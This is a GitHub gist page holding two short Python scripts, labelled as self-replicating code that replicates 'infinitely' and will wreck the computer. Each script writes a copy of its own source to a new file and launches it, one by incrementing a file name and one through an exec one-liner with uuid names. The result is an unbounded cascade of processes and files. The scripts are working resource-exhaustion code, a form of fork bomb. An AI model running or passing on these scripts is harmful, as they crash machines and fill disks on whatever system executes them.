Skip to content

Instantly share code, notes, and snippets.

@mightbesimon
Created February 25, 2020 22:09
Show Gist options
  • Save mightbesimon/97e60f471b51b4a40b168ec90023f28c to your computer and use it in GitHub Desktop.
Save mightbesimon/97e60f471b51b4a40b168ec90023f28c to your computer and use it in GitHub Desktop.
2 self replicating codes, infinitely replicating and speed up * * * use with care * * * will fck the computer up
filename = 'self_rep#0.py'
import os
with open(filename, 'r') as file: content = file.readline()*0 + file.read()
filename = 'self_rep#%s.py' % (int(filename.split('.')[0].split('#')[1]) + 1)
with open(filename, 'w') as file: file.write(f"filename = '{filename}'\n{content}")
os.system(f'python3 {filename}')
import uuid, os; code = "filename = f'self_rep#{uuid.uuid4().hex}.py'\nwith open(filename, 'w') as file: file.write(f'import uuid, os; code = {chr(34)*3}{code}{chr(34)*3}; exec(code); os.system({chr(34)}python3 %s{chr(34)} % filename)')"; exec(code); os.system("python3 %s" % filename)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment